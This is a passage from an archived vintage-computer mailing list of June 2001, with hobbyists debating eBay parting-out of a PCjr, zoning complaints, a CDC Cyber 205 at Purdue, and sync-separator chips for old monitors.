activity is fun, buying neat stuff, fixing it, and helping fellow users. I really hate the selling, shipping, generally business side of things. From dhquebbeman at theestopinalgroup.com Mon Jun 11 14:09:35 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151117@jeffserver.tegjeff.com> > My own inclination is to view computers that don't run as projects or as > parts-supply, and computers without reusable parts as dumpster-bound. I'd never > want a machine that requires power I can't supply. I'd never want a machine > that I can't see how to fix, either. Once it's relegated to the parts bins, it > gets dismantled and put in the parts stock, right down to the screws and > washers, and the sheet metal goes to the scrapper or to the dumpster. At first, I was dittoing along with this, until I got to the PSU-I-cant-repair part. I understand the thinking, of course, but I can think of quite a few machines that would fit that bill that I'd take as long as I could find an *indoors* location for them (having noted the rust remark below). Eventually, someone might have the desire to acquire it and the means to power it, and I'd be tickled to have enabled that to happen. Do you *really* know people who keep mainframes rusting in the yard? CDC Cybers, by any chance? ;-) -dq From Robert_Feldman at jdedwards.com Mon Jun 11 14:09:37 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:04:23 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer an d parts in the residential area) Message-ID: Yes, Missouri. Also, it was the Mississippi River (which diverted into an area where the ground fell), forming Reelfoot Lake, and the year was 1811 (there were also quakes in 1812). The main quake was felt over all of the US east of the Rocky Mountains. -----Original Message----- From: Vance Dereksen [mailto:vance@ikickass.org] Sent: Monday, June 11, 2001 1:24 PM To: classiccmp@classiccmp.org Subject: RE: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) I believe the New Madrid fault is in Missouri. Peace... Sridhar On Sat, 9 Jun 2001, John Lawson wrote: > > IIRC, the largest US quake (of which we have reliable evidence) in the > last 150 years was on the New Madrid fault in (I think) Tennessee, which > changed the course of the Ohio River. It was approaching a 9.0 R. > > So California can not claim to have *all* the fun. > > Cheers > > John > > > From dhquebbeman at theestopinalgroup.com Mon Jun 11 14:10:54 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151118@jeffserver.tegjeff.com> > Maybe the way to stem this trend is to make it known that there are people who'd > pay MORE for the complete units than the parts will bring. If that's not the > case, ... well ... Agreed... -dq From edick at idcomm.com Mon Jun 11 14:22:05 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... References: Message-ID: <002a01c0f2ab$cd25a660$9cc762d8@idcomm.com> As I wrote before, there aren't so many, but I make a distinction between those likely to repair them and those likely to let them sit an rust while they fantasize about what it might have been like to have one back when they were relevant. Repair is the proces, among other things, of turning total rubbish into something of potential use. There's lots of good that comes from that. Unfortunately, it's often necessary to sacrifice one potentially repairable machine in order to repair another. I have no patience for those who poo-poo that notion. Where do they think those replacement boards, no longer manufactured since sometime a couple of decades back, come from? Whatever repair plans one may have, if one has the intention, or, at least, hope, of restoring a machine to a useable state I think that's fine, but just to have a bunch of big iron sittin on the back lot or in the barn (I once did this, so I have a good idea of how useless it is.) with no idea of how to run it, particularly when power or other resources unlikely to become available, are required, makes no sense to me. Would you, Tony, store an old IBM box that required 440-Volt 3-phase power, and was missing a 48" disk drive without which it had little hope of working, and without any notion of where to get software? Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 11, 2001 12:22 PM Subject: Re: Ebay horror ... > > There are some folks who think dead computers are of value for something other > > than parts, but I don't know very many. Give the sensible ones a break, will > > Well, you're talking to one right now. The main use I have for dead > computers is to repair them and turn them into _working_ computers. > > The only time I ever consider stripping a unit for parts is if the part > is genuinely unavailable any other way [1]. In the case of the PC-jr that > applies to the gate array in the video system only. All the other parts > are easily available at the local electronics shop. And schematics of the > machine are not hard to find. > > Therefore faulty PCjrs, unless it's the video gate array chip that's > failed, should be repaired, not stripped. > > Anyway, is there any evidence that this machine was broken before it was > stripped? > > [1] I've been repairing a number of HP calculators recently. Those things > are mostly custom chips, so the only way to get parts is to strip other > broken units and make one good machine from 2 broken ones. But having > been given a few part-stripped machines recently, my first thought was to > try and make at least one working machine from tha parts (I actually > managed 2, and one that's nearly complete). The resulting machines are > worthless to an HP collector (they look beat-up, labels are missing or > damaged, wrong screws, etc) but they work. And to be honest, that's what > I care about. > > As I said to the person who gave me enough parts to make an HP45 : I am > happier with that machine than if you'd given me a perfect, working HP45. > Oh, sure I can't sell the machine I've assembled for much money, but by > repairing it, I've learnt a lot about how the HP45 works, how to test it > and how to repair it. And that, guys, is what I am really interested in. > > -tony > > From mikeford at socal.rr.com Mon Jun 11 14:23:28 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <01Jun11.125733edt.119046@gateway.mediacen.navy.mil> Message-ID: >>There are some folks who think dead computers are of value for something >>other >>than parts, but I don't know very many. Give the sensible ones a break, will >>you? > > I'm not saying that the PCjr falls into this category, but there are any >number of systems that even if they're not working should be kept intact and >not junked or canibalized for whatever useful parts you can get. This My first choice is to sell the system, but if that isn't practical then other options have to be considered. I think the objection that many of us have is the notion of selling off a working computer as non working trophies or display items. This is NOTHING like parting out a nonworking system as replacement parts to get other systems working. The other thing I really don't like is the practice of selling off the one valuable part and dumping the rest, or routinely dumping in advance all the lower profit items like cables and documentation. From allain at panix.com Mon Jun 11 14:47:36 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:23 2005 Subject: IBM 5150, 5100 site References: <010301c0f093$372eb300$a9799a8d@ajp166> <3.0.5.32.20010611095149.007d3930@yellow.ucdavis.edu> Message-ID: <004701c0f2af$5d8a09a0$21fe54a6@ibm23xhr06> > Check out the detail on the 5100. The caption notes: "...features >office workers and printer.."! Were these office workers included in the >purchase price, or were they paid with a maintenance contract? ;) They're talking about the picture itself, which presumably you may liscence. Point taken though. IBM was the first place where I heard employees referred to as 'Surplus'. John A. From jkunz at unixag-kl.fh-kl.de Mon Jun 11 14:52:46 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: Message-ID: <200106111952.VAA02663@unixag-kl.fh-kl.de> On 11 Jun, Tony Duell wrote: [LM1881] > And I think that at least the Eleantec version can handle the > sync rates of (at least) VGA monitors, >From the features section of the National Semiconductor LM1881 data sheet: Horizontal scan rates to 150kHz -- tsch??, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/ From marvin at rain.org Mon Jun 11 15:05:19 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:23 2005 Subject: Storage of computer (done...) References: <992038274.3b214d82e2543@email.ou.edu> Message-ID: <3B25247F.2F23D2C5@rain.org> FWIW, generally speaking you cannot find out who filed the complaint until the issue has been resolved. After that, you should be able to go down to the zoning commission office and find out who filed the complaint. A similar situation happened to me probably 10 years or so ago. After it was over, I found out who complained, and paid them a visit. I was not antagonistic, but I made it VERY clear if someone has a problem with me or what I am doing, they best talk to me FIRST!!! I made enough of a stink that the zoning person remembered me when I actually did have some non-working cars in the "parking lot" at the back of the house a couple of years ago. I got rid of them (which I had been procrastinating doing), called the zoning people, and that was the end of it. Mike Ford wrote: > > I finally got a call through to the zoning person, actually a reasonable > human being. Apparently some "neighbor" filed a complaint that I was > running a resale computer business out of my house. I explained that this > was my hobby, and not operated for financial gain, which took some details, > but for now the case is closed. A letter or phone call will go back to the > complainer with my denial of business activity, and that is the end of it > unless they can somehow show proof of business operation. > > Overall I still find the whole experience very chilling on the pleasurable > pursuit of a hobby. I have a bunch of stuff I am ready to get rid of, and > now I have to wonder if somebody is snooping on me ready to cause more > trouble if I sell something. > > OTOH mentally it has me more focused on what part of this activity is fun, > buying neat stuff, fixing it, and helping fellow users. I really hate the > selling, shipping, generally business side of things. From jss at ou.edu Mon Jun 11 15:11:14 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: References: Message-ID: <992290274.3b2525e2165fd@email.ou.edu> Quoting Tony Duell : > I think what it comes down to is 'are you in this for the money, > or because you enjoy repairing/using old computers'. Right. I would, however, tack on a note saying that it's ok to try and make money off of classic computing items IF that money is used to recover costs incurred in your collecting activities. -- Jeffrey S. Sharp jss@ou.edu From foo at siconic.com Mon Jun 11 14:15:26 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:23 2005 Subject: Storage of computer (done...) In-Reply-To: Message-ID: On Mon, 11 Jun 2001, Mike Ford wrote: > I finally got a call through to the zoning person, actually a > reasonable human being. Apparently some "neighbor" filed a complaint > that I was running a resale computer business out of my house. I > explained that this was my hobby, and not operated for financial gain, > which took some details, but for now the case is closed. A letter or > phone call will go back to the complainer with my denial of business > activity, and that is the end of it unless they can somehow show proof > of business operation. Good! > Overall I still find the whole experience very chilling on the > pleasurable pursuit of a hobby. I have a bunch of stuff I am ready to > get rid of, and now I have to wonder if somebody is snooping on me > ready to cause more trouble if I sell something. I think you should be entitled to know which neighbor complained (after all, you've been accused, you should be entitled to face your accuser...at least that's how it works at trial under the U.S. system of law :) You could then go speak with this neighbor and put them at ease. It'll give you a chance to explain yourself (not that you should have to) and will hopefully ease any tensions with that person, and hopefully they go away with the impression that you're just a regular guy having fun, and leave you alone. The last thing I'd want is a crappy neighbor, as that just makes living suck for all involved. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jamie at rbattison.freeserve.co.uk Sun Jun 3 13:39:43 2001 From: jamie at rbattison.freeserve.co.uk (Stone Cold) Date: Sun Feb 27 19:04:23 2005 Subject: Fw: how to i leave this group? Message-ID: <000401c0f2b3$a1d2fa00$0001a8c0@amanda> ----- Original Message ----- From: Jamie To: Sent: Tuesday, June 03, 2008 2:29 PM Subject: Re: how to i leave this group? > > From uban at ubanproductions.com Mon Jun 11 15:14:37 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151117@jeffserver.tegjeff. com> Message-ID: <3.0.5.32.20010611151437.008605b0@ubanproductions.com> Not too long ago (and perhaps still) the CDC Cyber 205 was complete and sitting in one of the Purdue University salvage buildings. This is a *BIG* machine and would require some serious space, power, etc. The machine has a panel on it which there are the signatures of many people. I think they are the signatures of the installers, maintainers, etc. --tom >Do you *really* know people who keep mainframes rusting >in the yard? CDC Cybers, by any chance? > >;-) > >-dq > > From bdc at world.std.com Mon Jun 11 15:20:17 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:23 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: On Mon, 11 Jun 2001, Vance Dereksen wrote: > On Sat, 9 Jun 2001, John Lawson wrote: > > IIRC, the largest US quake (of which we have reliable evidence) in the > > last 150 years was on the New Madrid fault in (I think) Tennessee, which > > changed the course of the Ohio River. It was approaching a 9.0 R. > I believe the New Madrid fault is in Missouri. It actually cuts across of number of states which include Tennessee and Missouri. Mind you, it's not as big as the fault systems out in the western United States. http://www.ceri.memphis.edu/public/facts_long.shtml I don't know if it was associated with the New Madrid fault, but sometime in the summer of either 1988 or 1989, I can remember feeling an earthquake in Northern Indiana. It was during the day, and I happened to be reading on my bed on the seconrd story of our home. It wasn't very strong quake, but enough to give a quick uneasy jolt that lasted a second or two. I'm not sure where the epicenter was located. ObClassicCmp: What sort of computer systems have the US Geological Survery used historical to monitor earthquake activity? -brian. From mcguire at neurotica.com Mon Jun 11 15:23:07 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:23 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: RE: Ebay horror ... (Tom Uban) References: <7A9BACCEF0171D4FB77019F5104CDD37151117@jeffserver.tegjeff. com> <3.0.5.32.20010611151437.008605b0@ubanproductions.com> Message-ID: <15141.10411.475041.909619@phaduka.neurotica.com> Uhhhh...ahhh....a Cyber205? 8-) That's a VERY historically important machine in my opinion. I'd been deleting these messages as yet-another-ebay-related-flame but this message caught my attention. If there's a complete Cyber 205 in existence anywhere, I'd sure like to know about it. What is the status of this machine? Is it available? Anybody know? -Dave McGuire On June 11, Tom Uban wrote: > Not too long ago (and perhaps still) the CDC Cyber 205 was complete and > sitting in one of the Purdue University salvage buildings. This is a *BIG* > machine and would require some serious space, power, etc. > > The machine has a panel on it which there are the signatures of many > people. I think they are the signatures of the installers, maintainers, > etc. > > --tom > > >Do you *really* know people who keep mainframes rusting > >in the yard? CDC Cybers, by any chance? > > > >;-) > > > >-dq > > > > From bdc at world.std.com Mon Jun 11 15:34:06 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: Message-ID: On Mon, 11 Jun 2001, Tony Duell wrote: > I think what it comes down to is 'are you in this for the money, or > because you enjoy repairing/using old computers'. I'm in for the fun of using old computers... but as some others have said here before. I'm not against the idea of people selling some equipment fund their hobbys. If someone sells some classic Z-80 system to fund their PDP-8 habit, I think that's okay. I don't see it as quite a black and white situation where selling things automatically makes someone an evil opportunist. There's a whole spectrum of grays in there. -brian. From r_beaudry at hotmail.com Mon Jun 11 15:44:59 2001 From: r_beaudry at hotmail.com (Rich Beaudry) Date: Sun Feb 27 19:04:23 2005 Subject: Motorola EXORbus docs needed Message-ID: Hello all! I recently acquired several Motorola (and other vendor) EXORbus cards. Included are a couple of Micro Module 1A CPU cards, some I/O and memory cards, and two boards that almost look like video cards. I need docs for the cards, but I'll post the list in a separate message, as I'm away from the cards right now. My initial questions are: - Does anyone have general documentation on the EXORbus itself? I'd like mechanical and electrical specs, pinouts, power supply requirements, timing diagrams, etc. Electronic format would be awesome, but other than that, I'd pay copying and postage for hardcopies. - Does anyone know where to get the 86-pin card-edge connectors so I could wire up a backplane to plug these beasties into? - Anyone have any EXORbus stuff they want to get rid of? :-) Thanks! Rich B. From ard at p850ug1.demon.co.uk Mon Jun 11 15:38:27 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <002a01c0f2ab$cd25a660$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 11, 1 01:22:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2043 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/6d714c41/attachment.ksh From dhquebbeman at theestopinalgroup.com Mon Jun 11 15:53:59 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715111D@jeffserver.tegjeff.com> > Not too long ago (and perhaps still) the CDC Cyber 205 was complete and > sitting in one of the Purdue University salvage buildings. This is a *BIG* > machine and would require some serious space, power, etc. > > The machine has a panel on it which there are the signatures of many > people. I think they are the signatures of the installers, > maintainers, etc. Do you have connections there? The first programming environment I used was ALFIE- Algebraic Language for an Interactive Environment. It was a subsystem running under Dual-MACE that provided a superset of BASIC, adding FORTRAN-like formatting. I really enjoyed running it on the ASR33s... GOOD MORNING. THIS IS ALFIE. Of course, morning would be replaced by afternoon and evening at the appropriate times. I also ran it on some NCR ttys and the first of many Silent 700s I've used, but it never sounded quite the same. Anyway, I'd love to get a copy of the source, if it still exists in an archive. It'll take some modifications to get it running under Kronos, but that's just work. So if you can direct me to the right person, I'd really appreciate it. Ditto for anyone who might know about the 205... Regards, -dq From ard at p850ug1.demon.co.uk Mon Jun 11 16:04:54 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: from "Brian Chase" at Jun 11, 1 03:34:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2102 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/1e45e8f8/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 11 16:06:25 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <200106111952.VAA02663@unixag-kl.fh-kl.de> from "jkunz@unixag-kl.fh-kl.de" at Jun 11, 1 09:52:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 356 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/2d0fed2a/attachment.ksh From jhingber at ix.netcom.com Mon Jun 11 16:13:24 2001 From: jhingber at ix.netcom.com (Jeffrey Ingber) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <3B24DF95.79043AD8@bresnanlink.net> References: <3B24DF95.79043AD8@bresnanlink.net> Message-ID: <992294008.18193.4.camel@desk-2> On 11 Jun 2001 10:11:17 -0500, Michael Brutman wrote: > I'm so mad. I'm watching on Ebay now as a greedy seller takes > apart a PCjr, and parts out the individual pieces for obscene > amounts of money compared the the cost of an intact system > unit. What is the problem here? Those 7 or 8 pieces have the potential to make 7 or 8 jr's work again. Jeff From ard at p850ug1.demon.co.uk Mon Jun 11 16:20:10 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <992290274.3b2525e2165fd@email.ou.edu> from "Jeffrey S. Sharp" at Jun 11, 1 03:11:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2213 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/de8b1c35/attachment.ksh From mbbrutman at yahoo.com Mon Jun 11 16:30:46 2001 From: mbbrutman at yahoo.com (Michael B. Brutman) Date: Sun Feb 27 19:04:23 2005 Subject: Parting out systems In-Reply-To: <200106111801.NAA39353@opal.tseinc.com> Message-ID: <20010611213046.25852.qmail@web4805.mail.yahoo.com> I've bought pieces of systems instead of entire systems too, and I was happy to find the one or two oddball pieces that I did find. (The most memorable one was a 64KB L2 cache module for an older Compaq desktop.) However, the thing that bugs me about this particular seller and this set of auctions is that I got the impression that this was a perfectly working machine, and that it was just cut up for parts because even if only two parts are sold, that's worth more than entire systems typically go for. What do you think happens to the parts that don't sell? Maybe they'll wind up on Ebay again, or more likely, they'll get junked. The seller made their money on the first overpriced part they sold, so there is no incentive to take care of the rest of the parts that don't sell. Think about entropy for a minute .. once the discrete pieces are split, it's harder to re-aquire them and reassemble the machine. So anyway, as a collector I'm a little miffed by it. The seller's response wasn't rude - or at least is was a rude as my unsolicited advice. ;-) As a capitalist, it's the best route. I tend to side with the collectors more, so I'm a little sad to see a machine cut up for parts like this. The motherboard really should have been kept with the keyboard I/R receiver - they're not really discrete parts. That just shows me the person doesn't know about the machine, nor cares. And pity the buyer that doesn't know the going price for a standard PCjr is about $10. This guy is selling indivual pieces for $6.99 or so. I'll crawl back to my hole now. ;-) Mike __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From jpero at sympatico.ca Mon Jun 11 12:46:06 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: References: <200106111952.VAA02663@unixag-kl.fh-kl.de> from "jkunz@unixag-kl.fh-kl.de" at Jun 11, 1 09:52:46 pm Message-ID: <20010611214323.BEOI7196.tomts13-srv.bellnexxia.net@duron> > From: ard@p850ug1.demon.co.uk (Tony Duell) > Subject: Re: sync on green to horizontal and vertical wiring seperator. > To: classiccmp@classiccmp.org > Date: Mon, 11 Jun 2001 22:06:25 +0100 (BST) > Reply-to: classiccmp@classiccmp.org > > > > On 11 Jun, Tony Duell wrote: > > > > [LM1881] > > > And I think that at least the Eleantec version can handle the > > > sync rates of (at least) VGA monitors,=20 > > >From the features section of the National Semiconductor LM1881 data > > sheet: > > Horizontal scan rates to 150kHz > > Which would seem to be fast enough for any normal PC or Mac monitor.... Hmm, did took a look at it's pdf documentation on LM1881 but I still don't see what can be done to get horizontal sync as well as vertical sync which this latter is already done on LM1881? Yes, I do understand this doc well to understand what it is missing despite 150KHz horizontal is plenty! But not as composite which my goal is seperate H and V sync. Both composite sync and sync on green monitors still have to split them to drive horizontal and vertical circuits. Oh, I think mine does output composite syncs if I can find info about this, would be easier but no different than sync on green since all syncs is negative going while video part is positive going I think. Cheers, Wizard > > -tony > From uban at ubanproductions.com Mon Jun 11 16:45:10 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:23 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: <15141.10411.475041.909619@phaduka.neurotica.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151117@jeffserver.tegjeff. com> <3.0.5.32.20010611151437.008605b0@ubanproductions.com> Message-ID: <3.0.5.32.20010611164510.008667b0@ubanproductions.com> Call Purdue salvage and ask. When I saw it, it wasn't in the area that would normally be seen, but it may be available. Call (765) 494-4600 and ask for the number for Purdue salvage... --tom At 04:23 PM 6/11/01 -0400, you wrote: > > Uhhhh...ahhh....a Cyber205? 8-) That's a VERY historically important >machine in my opinion. > > I'd been deleting these messages as yet-another-ebay-related-flame >but this message caught my attention. If there's a complete Cyber 205 >in existence anywhere, I'd sure like to know about it. What is the >status of this machine? Is it available? Anybody know? > > -Dave McGuire > >On June 11, Tom Uban wrote: >> Not too long ago (and perhaps still) the CDC Cyber 205 was complete and >> sitting in one of the Purdue University salvage buildings. This is a *BIG* >> machine and would require some serious space, power, etc. >> >> The machine has a panel on it which there are the signatures of many >> people. I think they are the signatures of the installers, maintainers, >> etc. >> >> --tom >> >> >Do you *really* know people who keep mainframes rusting >> >in the yard? CDC Cybers, by any chance? >> > >> >;-) >> > >> >-dq >> > >> > > > From jhellige at earthlink.net Mon Jun 11 16:48:30 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:23 2005 Subject: decus lives! In-Reply-To: <01Jan3.180113gmt.46097@gatekeeper.ccat.co.uk> References: <01Jan3.180113gmt.46097@gatekeeper.ccat.co.uk> Message-ID: Today I received a letter from Encompass renewing my DECUS membership, but changed over to Encompass with a new number. It took a couple of months but it did happen. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From engdahl at cle.ab.com Mon Jun 11 16:45:55 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... References: <992290274.3b2525e2165fd@email.ou.edu> Message-ID: <02f801c0f2bf$e4d7d800$614099a1@rcs.ra.rockwell.com> ----- Original Message ----- From: "Jeffrey S. Sharp" > Right. I would, however, tack on a note saying that it's ok to try > and make money off of classic computing items IF that money is used > to recover costs incurred in your collecting activities. I could not disagree more. Whether someone makes a profit off selling a classic computer item, and what he does with the money, is entirely his own business. If it were not for the guys that are making a living by selling classic computers and/or parts on eBay, I would not have much of a collection at all, and most of my PDP-11's would have been scrap metal by now*. I have found eBay to be a great place to find things that otherwise would be inaccessible to me, at very good prices. It's time to let up on eBay and the people that use it. Overall, they're doing a good job. We ought not to be judging and criticizing people that we don't know. Let's talk about computers instead. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl *footnote: if you ask my wife, they became scrap metal anyhow, except it's in the family room. From jpero at sympatico.ca Mon Jun 11 13:03:04 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: References: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 10, 1 09:38:50 pm Message-ID: <20010611220021.BVTD7745.tomts7-srv.bellnexxia.net@duron> > From: ard@p850ug1.demon.co.uk (Tony Duell) > Subject: Re: sync on green to horizontal and vertical wiring seperator. > To: classiccmp@classiccmp.org > Date: Mon, 11 Jun 2001 18:27:07 +0100 (BST) > Reply-to: classiccmp@classiccmp.org > Before you give up, 2 checks.. > > 1) Is the EHT voltage correct _and stable when you increase the > brightness_. You didn't mention the picture also got larger as the > brightness was turned up (a common symptom of EHT problems), but it's > still worth checking. No expanding when I change brightness, very stable. But items would grow colorful trails to the right if I broost too much gain or screen on each gun, it has set of 2 pots for each R, G, B guns. But this is not the problem apprently. > 2) Try boosting the heater a bit. If there's a resistor in series with > the CRT heater, reduce it or short it out. If the heater supply comes > from its own regulator, try tweaking it up a bit. If you can do neither > of those, disconnect the existing heater supply and try running the > heater from 3 (or so) turns of wire wound round the flyback core. Every > 6.3V CRT heater I've tried will stand 8V at least. This may not help, but > it might get you a couple more months out of an old CRT I'll try that. I already have traced the wiring for that heater, it leads directly from fly to the heater. I think there is a disc cap and a resistor. Have to open it up and look again. It's very service-friendly monitor, RF shield snaps off to expose the CRT board, main board swings out on pair of plastic hinges. Well built monitor, heavily shielded. Only difference on this monitor both screen and focus is on seperate circuit board not on fly itself. Doesn't the heater demands lot of current flow? Doesn't this monitor can be affected by too low voltages for B+ power? > > > But I might have one or two monitors I might able to extract certain > > IC to split the sync out to drive a peecee monitors which are in > > plenty around here. > > > > Otherwise if there a way to build that thing from scratch is nice. > > Get the data sheet on the National Semiconductor LM1881 (or the Elantec > version that's a bit better). It's an 8 pin chip that's a video sync > separator. That should be able to pull the sync off the sync-on-green signal > (which after all is electically the same as a composite mono signal). > > -tony Cheers, Wizard From ethan_dicks at yahoo.com Mon Jun 11 17:01:39 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:23 2005 Subject: 2 FREE qbus boards In-Reply-To: <3B24833D.D4F7E900@internet1.net> Message-ID: <20010611220139.28352.qmail@web9505.mail.yahoo.com> --- Chad Fernandez wrote: > Hello, > > Anybody want a KDF11-B (M8189), or a M7165 (1/2 of a 2 board set)? They > are yours for shipping. Is that 1/2 of an RLV11? -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From marvin at rain.org Mon Jun 11 17:03:07 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:23 2005 Subject: OT - Scheduling/Macro Software References: <20010611213046.25852.qmail@web4805.mail.yahoo.com> Message-ID: <3B25401B.9DB5AE77@rain.org> I would like to be able to schedule a web browser to go to a site, capture the page, and save it to a file automatically once an hour. Off hand, I don't of anything that will do this; any ideas? Thanks. From mcguire at neurotica.com Mon Jun 11 17:14:44 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:24 2005 Subject: 2 FREE qbus boards In-Reply-To: Re: 2 FREE qbus boards (Ethan Dicks) References: <3B24833D.D4F7E900@internet1.net> <20010611220139.28352.qmail@web9505.mail.yahoo.com> Message-ID: <15141.17108.945703.876190@phaduka.neurotica.com> On June 11, Ethan Dicks wrote: > > Anybody want a KDF11-B (M8189), or a M7165 (1/2 of a 2 board set)? They > > are yours for shipping. > > Is that 1/2 of an RLV11? 1/2 of a KDA50. -Dave McGuire From rhblake at bigfoot.com Mon Jun 11 17:16:42 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:24 2005 Subject: Parting out systems In-Reply-To: <20010611213046.25852.qmail@web4805.mail.yahoo.com> Message-ID: I'cve had to part systems out as well or the alternative was a scrapper. I've asked $4.99 for a full PS/2 55SX and not gotten any hits but pulled the floppy out and had 5 or 6 inquiries for the floppy since it fits more machines than just the 55SX - whodathunkit? > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Michael B. Brutman > Sent: Monday, June 11, 2001 4:31 PM > To: classiccmp@classiccmp.org > Subject: Re: Parting out systems > > > > I've bought pieces of systems instead of entire > systems too, and I was happy to find the one or two > oddball pieces that I did find. (The most memorable > one was a 64KB L2 cache module for an older Compaq > desktop.) > > However, the thing that bugs me about this particular > seller and this set of auctions is that I got the > impression that this was a perfectly working machine, > and that it was just cut up for parts because even if > only two parts are sold, that's worth more than entire > systems typically go for. What do you think happens > to the parts that don't sell? Maybe they'll wind up > on Ebay again, or more likely, they'll get junked. > The seller made their money on the first overpriced > part they sold, so there is no incentive to take care > of the rest of the parts that don't sell. > > Think about entropy for a minute .. once the discrete > pieces are split, it's harder to re-aquire them and > reassemble the machine. > > So anyway, as a collector I'm a little miffed by it. > The seller's response wasn't rude - or at least is was > a rude as my unsolicited advice. ;-) As a capitalist, > it's the best route. I tend to side with the > collectors more, so I'm a little sad to see a machine > cut up for parts like this. The motherboard really > should have been kept with the keyboard I/R receiver - > they're not really discrete parts. That just shows me > the person doesn't know about the machine, nor cares. > > And pity the buyer that doesn't know the going price > for a standard PCjr is about $10. This guy is selling > indivual pieces for $6.99 or so. > > I'll crawl back to my hole now. ;-) > > Mike > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Mon Jun 11 17:28:23 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:24 2005 Subject: Nigeria (was Re: Data Rescue Needed - DG 30 cartridge tapes) In-Reply-To: 